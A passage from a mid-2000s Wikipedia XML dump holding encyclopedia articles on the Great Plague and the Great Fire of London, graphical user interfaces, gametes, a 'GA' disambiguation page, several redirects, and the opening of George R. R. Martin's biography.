Though concentrated in London, the outbreak affected other areas of the country.  Perhaps the most famous example was the village of [[Eyam]] in [[Derbyshire]]. The plague arrived in a parcel of cloth sent from London. The villagers imposed a quarantine on themselves to stop the further spread of the disease. Spread of the plague was slowed in surrounding areas, but the cost to the village was the death of around 50% of its inhabitants. 

Records state that deaths in London crept up to 1000 persons per week, then 2000 persons per week and, by September 1665, to 7000 persons per week.  By late fall, the death toll began to slow until, in February 1666, it was considered safe enough for the King and his entourage to return to the city.  By this time, however, trade with the European continent had spread this outbreak of plague to [[France]], where it died out the following winter.      

Plague cases continued at a modest pace until September 1666.  On September 2nd and 3rd, the [[Great Fire of London]] destroyed many of the most crowded housing and business areas of the city, causing 16 deaths.  This event seems to have effectively stopped the plague outbreak, probably due to the destruction of London rats and their plague-carrying fleas.  After the fire, London was rebuilt on an urban plan originally  drafted by [[architect]] [[Christopher Wren]] which included widened streets, reduced congestion and basic sewage-drainage systems.  Thatched roofs (which had provided splendid places for rats to live) were also forbidden within the city, and remain forbidden under modern codes.  The second rebuilding of the [[Globe Theatre]] in [[1997]] required a special permit to have a thatched roof.

===Literary accounts===
Accounts of the plague were given by [[Samuel Pepys]] in his famous [[diary]] (retold musically in [[Robert Steadman]]'s cantata &quot;Pepy's Diary&quot;), and by [[Daniel Defoe]] in the fictional work ''[[A Journal of the Plague Year]]'', published in 1722.  In some people, wrote Defoe, ''&quot;...the plague swellings ... grew so painful ... not able to bear the torment, they ... threw themselves out of windows.  Others, unable to contain themselves, vented their pain by incessant roarings.  Such load and lamentable cries were to be heard as we walked along the streeets that would pierce the very heart to think of.&quot;&quot;''

A modern fictional story of the plague, ''Year of Wonders'', by Geraldine Brooks, was published in 2001.

==References==
* Bell, Walter George.  &quot;''The Great Plague in London in 1665''.&quot;  London: John Lane, The Bodley Head, 1924.
* [http://www.gutenberg.org/etext/17221 History of the Plague in England by Daniel Defoe]

===See also===
*[[Black Death]]
*[[Bubonic Plague]]
*[[Derby plague of 1665]]
*[[Eyam]]
*[[Ring-a-ring of roses]]
*[[UK topics]]

[[Category:Disasters in England]]
[[Category:History of London]]
[[Category:Pandemics]]
[[Category:Epidemics]]

[[cs:Velký mor (Londýn 1665)]]</text>
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  <page>
    <title>Great Fire of London</title>
    <id>12287</id>
    <revision>
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      <contributor>
        <username>Bluewave</username>
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      <comment>rv attempt to blame the fire on Gregg's Bakery</comment>
      <text xml:space="preserve">[[Image:GreatFireOfLondon1666_VictorianEngravingAfterVisscher300dpi.jpg|thumb|London, as it appeared from Bankside, Southwark, During the Great Fire &amp;mdash; Derived from a Print of the Period by Visscher]]

The '''Great Fire of London''' was a major conflagration  that swept through the [[City of London]] from [[September 2]] to [[September 5]] [[1666]], and resulted more or less in the destruction of the city.  Before this fire, two [[early fires of London]], in [[1133]]/[[1135]] and [[1212]], both of which destroyed a large part of the city, were known by the same name. Later, the [[Luftwaffe]]'s fire-raid on the City on 29th December 1940 became known as [[The Second Great Fire of London]].

The fire of [[1666]] was one of the biggest calamities in the [[history of London]]. It destroyed 13,200 houses, 87 parish churches, 6 chapels, 44 [[Livery Company|Company]] Halls, the [[Royal Exchange (London)|Royal Exchange]], the Custom House, [[St Paul's Cathedral]], the [[Guildhall, London |Guildhall]], the [[Bridewell Palace]] and other City prisons, the Session House, four bridges across the rivers [[River Thames|Thames]] and [[River Fleet|Fleet]], and three city gates, and made homeless 100,000 people, one sixth of the city's inhabitants at that time. The death toll from the fire is unknown, and is traditionally thought to have been quite small, but a recent book theorizes that thousands may have died in the flames or [[smoke inhalation]].

==Events==

[[Image:london-gazette.gif|thumb|300px|'''The ''[[London Gazette]]'' ''', front page from Monday 3–10 September 1666, reporting on the [[Great Fire of London]]. (Click image to enlarge and read)]]

The fire broke out on Sunday morning, [[September 2]], [[1666]]. It started in [[Pudding Lane]] at the house of Thomas Farynor, a [[baker]] to [[Charles II of England|King Charles II]].  It is likely that the fire started because Farynor forgot to extinguish his oven before retiring for the evening and that some time shortly after midnight, smouldering embers from the oven set alight some nearby firewood.  Farynor managed to escape the burning building, along with his family, by climbing out through an upstairs window. The baker's housemaid failed to escape and became the fire's first victim. 

Within an hour of the fire starting, the [[Lord Mayor of London]], Sir [[Thomas Bloodworth]], was awakened with the news. He was unimpressed however, declaring that &quot;a woman might piss it out.&quot;

Most buildings in [[London]] at this time were constructed of highly [[combustion|combustible]] materials like [[wood]] and [[straw]], and sparks emanating from the baker's shop fell onto an adjacent building.  Fanned by a strong wind from the east, once the fire had taken hold it swiftly spread.  The spread of the fire was helped by the fact that buildings were built very close together with only a narrow alley between them.

According to a contemporary source:

&lt;blockquote&gt; Then, then the city did shake indeed, and the inhabitants did tremble, and flew away in great amazement from their houses, lest the flames should devour them: ''rattle, rattle, rattle'', was the noise which the fire struck upon the ear round about, as if there had been a thousand iron chariots beating upon the stones. You might see the houses ''tumble, tumble, tumble'', from one end of the street to the other, with a great crash, leaving the foundations open to the view of the heavens. &lt;/blockquote&gt; 

The progress of the fire might have been stopped, but for the conduct of the Lord Mayor, who refused to give orders for pulling down some houses, ''without the consent of the owners''. Buckets were of no use, from the confined state of the streets.

==Destruction==

The fire consumed a staggering 13,200 [[house]]s and 87 [[church]]es, among them the beloved [[St. Paul's Cathedral]], which at that time was St. Paul's Church. While only 9&amp;ndash;16 people were reported as having died in the fire, author Neil Hanson (''The Dreadful Judgement'') believes the true death toll numbered in the hundreds or the thousands. Hanson believes most of the fatalities were poor people whose bodies were [[cremated]] by the intense heat of the fire, and thus their remains were never found. These claims are controversial, however.

The destructive fury of this conflagration is thought never to have been exceeded in the world, by an accidental fire.  ''Within'' the walls, it consumed almost five-sixths of the whole city; and ''without'' the walls it cleared a space nearly as extensive as the one-sixth part left unburnt within.  Scarcely a single building that came within the range of the flames was left standing. Public buildings, churches, and dwelling-houses, were alike involved in one common fate.

In the summary account of this vast devastation, given in one of the inscriptions on the [[Monument to the Great Fire of London|Monument]], and which was drawn up from the reports of the surveyors appointed after the fire, it is stated, that:

&lt;blockquote&gt; The ruins of the city were 436 acres (1.8&amp;nbsp;km&amp;sup2;), viz. 333 acres (1.3&amp;nbsp;km&amp;sup2;) within the walls, and 63 acres (255,000&amp;nbsp;m&amp;sup2;) in the liberties of the city; that, of the six-and-twenty wards, it utterly destroyed fifteen, and left eight others shattered and half burnt; and that it consumed 400 streets, 13,200 dwelling-houses, 89 churches [besides chapels]; 4 of the city gates, Guildhall, many public structures, hospitals, schools, libraries, and a vast number of stately edifices. &lt;/blockquote&gt;

The value of the property destroyed in the fire has been estimated as exceeding ten million [[pound sterling|pounds]]. As well as the buildings, this included irreplaceable treasures such as paintings and books: Pepys, for example, gives an account of the loss of the entire stock (and subsequently the financial ruin) of his own preferred bookseller.  Despite the immediate destruction caused by the fire, it is nevertheless claimed that its ''remote effects'' have benefitted subsequent generations: for instance, it completed the destruction of the ''[[Great Plague]]'' which, greatly in decline by 1666, had taken the lives of 68,590 people, the previous year; and it also led to the building of some notable new buildings, such as the new St. Paul's Cathedral.

The following remarks regarding the fire are recorded: 

Mr. Malcom, in ''&quot;Anecdotes of the Manners and Customs of London in the Eighteenth Century,&quot;'' (vol. ii. p. 378), says:

&lt;blockquote&gt;
Heaven be praised old London ''was burnt''. Good reader, turn to the ancient prints, in order to see what it has been; observe those hovels convulsed; imagine the chambers within them, and wonder why the plague, the leprosy, and the sweating-sickness raged. Turn then to the prints illustrative of our present dwellings, and be happy. The misery of 1665 must have operated on the minds of the legislature and the citizens, when they rebuilt and inhabited their houses.  The former enacted many salutary clauses for the preservation of health, and would have done more, had not the public rejected that which was for their benefit; those who preferred high habitations and narrow dark streets had them.  It is only to be lamented that we are compelled to suffer for their folly. These errors are now frequently partially removed by the exertion of the [[Corporation of London]]; but a complete reformation is impossible. It is to the improved dwellings composed of brick, the wainscot or papered walls, the high ceilings, the boarded floors, and large windows, and cleanliness, that we are indebted for the general preservation of health since 1666. From that auspicious year the very existence of the natives of London improved; their bodies moved in a large space of pure air; and, finding every thing clean and new around them, they determined to keep them so. Previously-unknown luxuries and improvements in furniture were suggested; and a man of moderate fortune saw his house vie with, nay, superior to, the old palaces of his governors. When he paced his streets, he felt the genial western breeze pass him, rich with the perfumes of the country, instead of the stench described by Erasmus; and looking upward, he beheld the beautiful blue of the air, variegated with fleecy clouds, in place of projecting black beams and plaster, obscured by vapour and smoke.
&lt;/blockquote&gt; 

&lt;blockquote&gt;
The streets of London must have been dangerously dark during the winter nights before it was burnt; lanterns with candles were very sparingly scattered, nor was light much better distributed even in the new streets previously to the 18th century. Globular lamps were introduced by Michael Cole, who obtained a patent in July, [[1708]].
&lt;/blockquote&gt; 

&lt;blockquote&gt;
We conclude the illustrations of this day with a singular opinion of the author just quoted. Speaking of the burning of London, he says, &quot;This subject may be allowed to be familiar to me, and I have perhaps had more than common means of judging; and I now declare it to be my full and decided opinion, that London was ''burnt by government, to annihilate the plague,'' which was grafted in every crevice of the hateful old houses composing it.&quot;
&lt;/blockquote&gt;

==Aftermath and consequences==

The fire had a marked and varied impact on [[England|English]] society: see, for example, articles concerning [[Charles II of England]], [[Christopher Wren]] and [[Samuel Pepys]].

After the fire, a rumour began to circulate that the fire was part of a [[Roman Catholic Church|Catholic]] plot. A simple-minded [[France|French]] watchmaker named Robert &quot;Lucky&quot; Hubert, confessed (possibly under [[torture]]) to being an agent of the [[Pope]] and starting the fire in [[Westminster]]. He later changed his story to say that he had started it at the bakery in Pudding Lane. He was convicted, despite overwhelming evidence that he could not have started the fire, and was [[hanging|hanged]] at [[Tyburn, London|Tyburn]] on [[September 28]] [[1666]].

[[Christopher Wren]] was put in charge of re-building the city after the fire. His original plans involved rebuilding the city in brick and stone to a grid plan with continental [[piazza]]s and avenues. But because many buildings had survived to basement level, legal disputes over ownership of land ended the grid plan idea. From [[1667]], [[Parliament]] raised funds for re-building London by taxing coal, and the city was eventually rebuilt to its existing street plan, but built instead out of brick and stone and with improved [[sanitation]] and access. This is the main reason why today's London is a modern city, yet with a medieval design to its streets. Christopher Wren also re-built St Paul's Cathedral 11 years after the fire.

Lessons in fire safety were learned, and when the current [[Globe Theatre]] was opened in [[1997]], it was the first building in London with a [[thatching|thatched roof]] since The Fire.

==Cultural impact==

The [[Monument to the Great Fire of London]], known simply as The Monument, was designed by Wren and [[Robert Hooke]]. It is close to the site where the fire started&amp;sup2;, near the northern end of [[London Bridge]]. The corner of [[Giltspur Street]] and [[Cock Lane]] where the fire ended was known as Pye Corner, and is marked by a small gilded statue known as the Fat Boy or the [[Golden Boy of Pye Corner]], supposedly a reference to the theory expounded by a non-conformist preacher who said:

&lt;blockquote&gt;
The calamity could not have been the [[sin]] of [[blasphemy]] for in that case it would have began at [[Billingsgate]], nor [[lewdness]] for then [[Drury Lane]] would have been first on fire nor [[lying]] for then the flames would have reached the [[City of London|City]] from [[Westminster Hall]]. No, it was occasioned by the sin of [[gluttony]] for it began at Pudding Lane and ended at Pye Corner.
&lt;/blockquote&gt; 

[[John Dryden]] commemorated the fire in his poem of [[1667]], ''[[Annus Mirabilis (poem)|Annus Mirabilis]].''  Dryden worked, in his poem, to counteract paranoia about the causes of the fire and proposed that the fire was part of a year of miracles, rather than a year of disasters.  The fact that Charles was already planning to rebuild a glorious city atop the ashes and the fact that there were so few reported fatalities were, to Dryden, signs of divine favor, rather than curse.

This is an extract from the Diary of [[Samuel Pepys]]:
&lt;blockquote&gt;
By and by Jane comes and tells me that she hears that above 300 houses have been burned down tonight by the fire we saw, and that it is now burning down all Fish Street, by London Bridge. So I made myself ready presently, and walked to the Tower; and there got up upon one of the high places, and there I did see the houses at the end of the bridge all on fire, and an infinite great fire on this and the other side of the bridge!
&lt;/blockquote&gt;

==Predictions of a fire in London==
There had been much prophecy of a disaster befalling London in 1666, since in [[Hindu-Arabic numeral system|Hindu-Arabic numerals]] it included the [[Number of the Beast (numerology)|number of the Beast]] and in [[Roman numerals]] it was a declining-order list (MDCLXVI). [[Walter Gostelo]] wrote in [[1658]] &quot;If fire make not ashes of the city, and thy bones also, conclude me a liar forever!&amp;hellip;the decree is gone out, repent, or burn, as [[Sodom and Gomorrah|Sodom and Gomorrah]]!&quot; It seemed to many, coming after a civil war and a plague, Revelation's third [[Four horsemen of the Apocalypse|horseman]].

Prophesies made by [[Ursula Southeil]] (Old Mother Shipton), [[William Lilly]], and [[Nostradamus]] are also sometimes claimed to predict the Great Fire.

A large fire had already burnt around the northern end of [[London Bridge]] in 1632. In 1661, [[John Evelyn]] warned of the potential for fire in the city, and in 1664, Charles II wrote to the [[Lord Mayor of London]] to suggest that enforcing building regulation would help contain fires.

==Further reading==

* Hanson, Neil (2002). ''The Dreadful Judgement: The True Story of the Great Fire of London''.  ISBN 0552147893. Released in the U.S. as ''The Great Fire of London: In That Apocalyptic Year, 1666''. ISBN 0471218227.
* Robinson, Bruce. [http://www.bbc.co.uk/history/society_culture/society/great_fire_01.shtml Red Sky at Night]. [[BBC]]'s History website. &amp;mdash;an account of the Great Fire.
* Robert Latham and William Matthews (editors). ''The Diary of Samuel Pepys, a new and complete transcription'', published by Bell &amp; Hyman, London, 1970&amp;ndash;1983.

==Footnotes==

# Farrinor's name is variously spelled Farriner, Fraynor, Farryner, or Farynor.
# The Monument stands 61 metres (202 feet) tall, the height marking the monument's distance to the site of the king's baker Thomas Farynor's shop in Pudding Lane, where the fire began.
# In 1986, the Baker's Company issued a public apology for the fire.

==External links==
* [http://www.channel4.com/history/microsites/H/history/fire/experts.html Fire] Dr Simon Thurley, director of the [[Museum of London]], and other experts at the museum answered questions about the Great Fire of London.

[[Category:1666]]
[[Category:City of London]]
[[Category:Disasters in England]]
[[Category:Fires]]
[[Category:History of London]]

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[[cs: Velký požár Londýna (1666)]]
[[de:Großer Brand von London]]
[[eo:Granda incendio de Londono]]
[[fr:Grand incendie de Londres]]
[[he:השריפה הגדולה של לונדון]]
[[nl:Grote brand van Londen]]
[[ja:ロンドン大火]]
[[no:Bybrannen i London 1666]]
[[pl:Pożar Londynu w roku 1666]]
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[[uk:Велика пожежа (Лондон)]]</text>
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  </page>
  <page>
    <title>Ga</title>
    <id>12288</id>
    <revision>
      <id>38561956</id>
      <timestamp>2006-02-07T03:09:55Z</timestamp>
      <contributor>
        <username>Tobias Conradi</username>
        <id>10784</id>
      </contributor>
      <comment>sort</comment>
      <text xml:space="preserve">{{Wiktionary}}
''In Wikipedia &quot;GA&quot; could stand for [[Wikipedia:Good articles|Good Article]].''

'''GA''' may refer to:
*[[Gabon]], a nation in west central Africa ([[ISO 3166-1 alpha-2]] [[country code]] GA)
*[[Galaxy Angel]], an anime TV series
*[[Garuda Indonesia]], an airline ([[IATA airline designator]] GA)
*[[General American]], a variety of American English
*[[General assembly]], an official session of the members of a union, church, association, or similar organization
*[[General authority]], a member of a select body of approximately 100 men in the The Church of Jesus Christ of Latter-day Saints
*General Availability, the final software [[development stage]]
*[[General aviation]], a category of civil aviation encompassing all aircraft flights other than scheduled airline activity
*[[Genetic algorithm]], a search technique used in computer science
*[[Georgia (U.S. state)]] (U.S. postal code GA)
*[[Germantown Academy]], the oldest nonsectarian day school in the United States
*[[Gigampere]] or [[Giga-ampere]], an SI unit of electric current (symbol GA, worth 10&lt;sup&gt;9&lt;/sup&gt; A)
*[[Girls Aloud]], a British girl group; winners of ''Popstars: The Rivals''
*[[Tabun (nerve gas)]], a nerve agent also known as GA

'''Ga''' may refer to:
*[[Ga people]], an ethnic group of Ghana
*[[Ga language]], the language spoken by the Ga people
*[[Ga District]], Ghana
*[[Giga-annum]] or [[Gigayear]], a time period of 10&lt;sup&gt;9&lt;/sup&gt; years, symbol Ga
*[[Gallium]], a chemical element in the periodic table that has the symbol Ga

'''ga''' may refer to:
*The [[Irish language]] or ''Gaeilge'' ([[ISO 639-1]]).


{{2LCdisambig}}

[[de:GA]]
[[et:GA]]
[[el:GA]]
[[fr:GA]]
[[ko:GA]]
[[it:Ga]]
[[la:GA]]
[[ja:GA]]
[[pt:GA]]</text>
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  </page>
  <page>
    <title>Graphical user interface</title>
    <id>12293</id>
    <revision>
      <id>41934869</id>
      <timestamp>2006-03-02T19:01:45Z</timestamp>
      <contributor>
        <ip>67.1.157.212</ip>
      </contributor>
      <comment>/* Individual Elements of User Interfaces */ rewrote</comment>
      <text xml:space="preserve">{{Otheruses2|Gui}}
A '''graphical user interface''' (or '''GUI''', sometimes pronounced &quot;gooey&quot;) is a method of [[human-computer interaction|interacting with a computer]] through a [[metaphor]] of [[direct manipulation]] of graphical images and [[widget (computing)|widget]]s in addition to text.

GUIs display visual elements such as icons, windows and other gadgets. The precursor to GUIs was invented by researchers at the [[Stanford Research Institute]] (led by  [[Douglas Engelbart|Doug Engelbart]]) with the development and use of text-based [[hyperlinks]] manipulated with a [[Computer mouse|mouse]] for the [[On-Line System]]. The concept of hyperlinks was further refined and extended to graphics by researchers at [[Xerox PARC]], who went beyond text-based hyperlinks and used [[GUI]]s as the primary interface for the [[Xerox Alto]] [[computer]]. Most modern general-purpose GUIs are derived from this system. For this reason some people call this class of interface a '''''P'''ARC '''U'''ser '''I'''nterface'' (PUI) (note that PUI is also an acronym for ''perceptual user interface''). The PUI consists of graphical widgets (often provided by [[widget toolkit]] libraries) such as [[window (computing)|window]]s, [[menu (computing)|menu]]s, [[radio button (computing)|radio button]]s, [[check box]]es and [[icon (computing)|icon]]s, and employs a [[pointing device]] (such as a mouse, trackball or touchscreen) in addition to a keyboard. Those aspects of PUIs can be emphasized by using the alternative acronym [[WIMP (computing)|WIMP]], which stands for Windows, Icons, Menus and [[Pointing device]].

The GUI familiar to most of us today is either the Mac or the Windows operating systems and their applications originated at the Xerox Palo Alto Research Laboratory in the late 1970s. Apple used it in their first Macintosh computers. Later, Microsoft reused many of Apple's ideas in their first version of the Windows operating system for IBM-compatible PCs.

Examples of systems that support GUIs are [[Mac OS]], [[Microsoft Windows]], [[NEXTSTEP]] and the [[X Window System]]. The latter is extended with toolkits such as [[Motif (widget toolkit)|Motif]] ([[CDE]]), [[Qt (toolkit)|Qt]] ([[KDE]]) and [[GTK+]] ([[GNOME]]).

[[Image:Kde35.png|thumb|250px|An example of [[KDE]], one of the X Window System's many graphical user interfaces available for [[Unix-like]] systems]]
[[Image:Windows XP GUI.JPG|thumb|250px|An example of the graphical user interface in [[Windows XP]]]]
[[Image:MacOSX10.4.png|thumb|250px|An example of the graphical user interface in Apple's [[Mac OS X]] ]]

== Types of GUIs ==

GUIs that are not PUIs are most notably found in [[computer game]]s, and advanced GUIs based on [[virtual reality]] are now frequently found in research. Many research groups in North America and Europe are currently working on the [[Zooming User Interface]], or ZUI, which is a logical advancement on the GUI, blending some 3D movement with 2D or &quot;2½D&quot; vectorial objects.

Some GUIs are designed for the rigorous requirements of [[vertical market]]s.  These are known as &quot;application specific GUIs.&quot;  One example of such an application specific GUI is the now familiar touchscreen point of sale software found in restaurants worldwide and being introduced into self-service retail checkouts.  First pioneered by [[Eugene Mosher|Gene Mosher]] on the [[Atari ST]] computer in 1986, the application specific touchscreen GUI has spearheaded a worldwide revolution in the use of computers throughout the food and beverage industry and in general retail.

Other examples of application specific touchscreen GUIs include the most recent [[automatic teller machine]]s, airline self-ticketing, information kiosks and the monitor/control screens in embedded industrial applications which employ a [[real time operating system]] (RTOS).  The latest cell phones and handheld game systems also employ application specific touchscreen GUI.

== GUI vs. CLI ==

GUIs were introduced in reaction to the steep learning curve of '''''C'''ommand '''L'''ine '''I'''nterfaces'' ([[Command line interface|CLI]]), [[Text user interface|text-based user interfaces]] requiring commands to be typed on the [[Computer keyboard|keyboard]]. Since the command words in CLIs are usually numerous and composable, very complicated operations can be invoked using a relatively short sequence of words and symbols. This leads to high levels of efficiency once the many commands are learned, but reaching this level can take some time, because the command words are not easily discoverable. [[WIMP (computing)|WIMP]]s (&quot;window, icon, menu, pointing device&quot;), on the other hand, present the user with numerous [[widget (computing)|widget]]s that represent and can trigger some of the system's available commands.

WIMPs extensively use [[Mode (computer interface)| modes]] as the meaning of all keys and clicks on specific positions on the screen are redefined all the time. [[CLI]]s use modes only in the form of a current directory.

Most modern [[Operating system|operating systems]] provide both a GUI and some level of a CLI, although the GUIs usually receive more attention. The GUI is usually [[WIMP (computing)|WIMP]]-based, although occasionally other metaphors surface, such as [[Microsoft Bob]], [[3dwm]] or (partially) FSV.

Applications may also provide both interfaces, and when they do the GUI is usually a [[WIMP (computing)|WIMP]] wrapper around the CLI version. The latter used to be implemented first because it allowed the developers to focus exclusively on their product's functionality without bothering about interface details such as designing icons and placing buttons. Nowadays, the GUI is no longer an optional part of a successful application, because users have grown accustomed to the ease of use provided by their familiar GUIs.

== 3D user interfaces ==

3D GUIs are very common in science fiction literature and movies, such as in [[Jurassic Park]], which features [[Silicon Graphics]]' 3D filemanager, &quot;File system navigator&quot;&amp;#xA0;[http://www.sgi.com/fun/freeware/3d_navigator.html], an actual file manager that never got any widespread use, as the user interface of a Unix computer. In science fiction, 3D user interfaces are often immersive environments like William Gibson's [[cyberspace]] or [[Neal Stephenson]]'s [[metaverse]]. 3D graphics is currently mostly used in computer games, art and computer aided design. There have been several attempts at making 3D desktop enviroments, like Sun's [[Project Looking Glass]]. A 3D computing environment could possibly be used for collaborative work, for example scientists may study 3D models of [[molecules]] in a virtual reality environment or engineers may work on assembling a 3D model of an airplane. This is a goal of the [[Croquet project]]&amp;#xA0;[http://mslive.sonicfoundry.com/mslive/Viewer/NoPopupRedirector.aspx?peid=172f6de5-135b-4ba0-9207-ac6d383812c9&amp;shouldResize=False]. 3D is also slowly being introduced in mainstream operating systems like [[Windows Vista]] and [[Mac OS X]], for the moment mainly in the form of [[eye candy]], like Apple's [[Quartz Compositor|Quartz Extreme]], which uses [[OpenGL]] to do fancy rendering.

== Individual Elements of User Interfaces ==
* [[About box]]
* [[Dialog box]]
* [[Icon]]
* [[Balloon help]]
* [[Breadcrumb (navigation)]]
* [[Button (computing)|Button]]
* [[CandyBar]]
* [[Check box]]
* [[Combo box]]

== See also ==

*[[Fitts' law]]
*[[Anti-Mac]]
*[[Apple v. Microsoft]]
*[[User interface engineering]]
*[[Software engineering]]
*[[List of software engineering topics]]
*[[Human-Machine Interface]]
*[[Ergonomics]]
*[[GUI Testing]]
*[[Inductive reasoning aptitude]]
*[[Ajax (programming)]]
*[[Rich Internet Applications]]

== External links ==

*[http://www.guidebookgallery.org/ Marcin Wichary's GUIdebook], Graphical User Interface gallery: over 5500 screenshots of UI, application and icon history
*[http://www.sitepoint.com/article/real-history-gui The Real History of the GUI], a very interesting article by Mike Tuck
*[http://arstechnica.com/articles/paedia/gui.ars A History of the GUI], by Jeremy Reimer of [[Ars Technica]]
*[http://linux.oneandoneis2.org/LNW.htm Linux is Not Windows] points out the important design differences which lead to WIMP and CLI (but lacks impartiality)

[[Category:User interface]]
[[Category:Graphical user interface| ]]
[[Category:Software architecture]]

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      <text xml:space="preserve">#redirect [[George Hamilton-Gordon, 4th Earl of Aberdeen]]</text>
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  <page>
    <title>Gamete</title>
    <id>12295</id>
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      <id>40917112</id>
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      <contributor>
        <username>Haza-w</username>
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      </contributor>
      <minor />
      <comment>etymology</comment>
      <text xml:space="preserve">'''Gametes''', from the [[ancient Greek]] ''γαμετης'' (spouse), are the specialized [[germ cell]]s that come together during [[fertilization]] (conception) in [[organism]]s that reproduce [[sexual reproduction|sexually]]. The creation of gametes is called [[gametogenesis]], in which [[gametocyte]]s divide by [[meiosis]] into various gametes. In those species that produce two morphologically distinct types of gametes, and in which a particular individual produces only one type; &quot;[[female]]s&quot; of the species produce the larger gamete called an '''[[ovum]]''' (or egg) and  &quot;[[male]]s&quot; produce the smaller gamete termed (in animals) a '''[[spermatozoon]]''' (or sperm cell).  The equivalent &quot;male&quot; structure in higher plants is called a [[pollen|pollen grain]]. Organs that produce gametes are called [[gonad]]s in [[animal]]s, and [[archegonium|archegonia]] or [[antheridium|antheridia]] in [[plant]]s.

Gametes are '''[[haploid]]''' cells; that is, they contain one complete set of [[chromosome]]s (the actual number varies from species to species). When two gametes unite (typically in animals, involving a sperm and an egg), they form a ''[[zygote]]'' &amp;mdash; a cell having two complete sets of chromosomes and therefore '''[[diploid]]'''.  The zygote cell receives one set of chromosomes from each of the two gametes involved in the union. After fusion of the two gamete [[cell nucleus|nuclei]], and after multiple [[cell division]]s and [[cellular differentiation]], a zygote [[developmental biology|develops]], first into an [[embryo]], and ultimately into a mature individual capable of producing gametes.  Gametes from a mature diploid individual will be produced in the gonadal tissue through '''[[meiosis]]'''&amp;mdash;a process of cellular division that reduces the number of sets of chromosomes from two to one (i.e., produces haploid gametes).   

The diploid [[somatic cell]]s of an individual will contain one copy of the chromosome set from the sperm and one copy of the chromosome set from the egg&amp;mdash;that is, the cells of the offspring will have genes expressing characteristics of both the ''father'' and the ''mother''. A gamete's chromosomes are not exact duplicates of either of the sets of chromosomes carried in the somatic cells of the individual that produced the gametes. They can be ''hybrids'' produced through '''[[Chromosomal crossover|crossover]]''' (a form of [[genetic recombination]]) of chromosomes, something that takes place in meiosis. This hybridization has a random element, and the chromosomes tend to be a little different in every gamete that an individual produces.  This recombination and the fact that the two chromosome sets ultimately have come from either a grandmother or a grandfather on each parental side account for the [[genetics|genetic]] dissimilarity of [[Family|sibling]]s.

==Gamete size and evolution==
'''Isogamy''' occurs when gametes from both sexes are the same size. '''Anisogamy''' or '''heterogamy''' is the condition wherein females and males produce [[gamete]]s of different sizes. Isogamy is considered to be the ancestral condition, the evolution of gametes of unequal size is a current area of evolutionary research.

==Reference==
*Randerson, J.P., and Hurst, L.D. 2001. The uncertain evolution of the sexes. ''Trends in Ecology &amp; Evolution'' 16(10):571-579

==External links==
*[http://www.thedoctorslounge.net/fertilounge/articles/gametogenesis/index.htm Gametogenesis (spermatogenesis, oogenesis) &amp; fertilization]

[[Category:Classical genetics]]
[[Category:Germ cells]]
[[Category:Evolution]]

[[Category:Reproductive system]]

[[da:Gamet]]
[[de:Gamet]]
[[es:Gameto]]
[[fr:Gamète]]
[[lt:Gameta]]
[[mk:Гамета]]
[[nl:Gameet]]
[[ja:配偶子]]
[[pl:Gameta]]
[[ru:Гаметы]]
[[sv:Könscell]]
[[he:תא רבייה]]
[[zh:生殖细胞]]</text>
    </revision>
  </page>
  <page>
    <title>List of German proverbs</title>
    <id>12296</id>
    <revision>
      <id>15909996</id>
      <timestamp>2004-12-24T14:29:21Z</timestamp>
      <contributor>
        <username>BrokenSegue</username>
        <id>101451</id>
      </contributor>
      <comment>made a redirect</comment>
      <text xml:space="preserve">#Redirect [[Wikiquote:German proverbs]].</text>
    </revision>
  </page>
  <page>
    <title>Godiva programming language</title>
    <id>12298</id>
    <revision>
      <id>15909997</id>
      <timestamp>2005-04-18T14:24:27Z</timestamp>
      <contributor>
        <username>Korath</username>
        <id>26939</id>
      </contributor>
      <minor />
      <comment>rv - still a stub</comment>
      <text xml:space="preserve">'''Godiva''' ('''GO'''al-'''DI'''rected [[Java programming language|ja'''VA''']]) is an extension to the [[programming language]] supporting [[goal-directed evaluation]] of expressions.

==External links ==
* [http://www.cs.nmsu.edu/~jeffery/godiva/ Official website]
[[Category:Programming languages]]
[[Category:Java programming language family]]
{{compu-lang-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Gary Kasparov</title>
    <id>12299</id>
    <revision>
      <id>15909998</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Garry Kasparov]]
</text>
    </revision>
  </page>
  <page>
    <title>George R. R. Martin</title>
    <id>12300</id>
    <revision>
      <id>41319278</id>
      <timestamp>2006-02-26T15:14:55Z</timestamp>
      <contributor>
        <username>Brendan Moody</username>
        <id>245620</id>
      </contributor>
      <comment>/* Themes */ begin process of adding references</comment>
      <text xml:space="preserve">[[Image:George_R._R._Martin_2005.JPG|thumb|200px|George R. R. Martin at [[Worldcon]] [[2005]] in [[Glasgow]]]] [[Image:George R. R. Martin.jpg|thumb|200px|George R. R. Martin, circa 1986]]
'''George Raymond Richard Martin''' (sometimes called '''GRRM''' by fans; born [[September 20]], [[1948]] in [[Bayonne, New Jersey]]) is an [[United States|American]] writer of [[science fiction]] and [[fantasy fiction|fantasy]], and also a screenwriter and producer. He has been an instructor in [[journalism]] (in which he holds a [[master's degree]]) and a [[chess]] tournament director.

Martin was a prolific author of short fiction in the [[1970s]], and won several [[Hugo Award]]s and [[Nebula Award]]s before he started to turn his attention to novels late in the decade.  Although much of his work is fantasy or [[horror fiction|horror]], a number of his earlier works are science fiction occurring in a loosely-defined [[future history]].

In the [[1980s]] he turned to work in television and as an editor.  On television, he worked on the new ''[[Twilight Zone]]'' series, as well as ''[[Beauty and the Beast (series)|Beauty and the Beast]]''.  As an editor, he oversaw the lengthy ''[[Wild Cards]]'' cycle, which took place in a [[shared universe]] in which an alien virus bestowed strange powers or disfigurements on a slice of humanity during [[World War II]], affecting the history of the world thereafter (the premise was inspired by [[comic book]] [[superhero]]es and a [[Superworld]] superhero [[role-playing game]] of which Martin was [[gamemaster]]).  Contributors to the [[Wild_Cards|''Wild Cards'']] series included [[Stephen Leigh]], [[Lewis Shiner]], [[Howard Waldrop]], [[Walter Jon Williams]] and [[Roger Zelazny]]. His own contributions to the series often featured Thomas Tudbury, &quot;The Great and Powerful Turtle,&quot; a powerful [[psychokinetic]] whose flying &quot;shell&quot; consisted of an armored [[VW Beetle]].

Martin's short story of the same name was adapted into the feature film ''[[Nightflyers]]'' ([[1987]]).

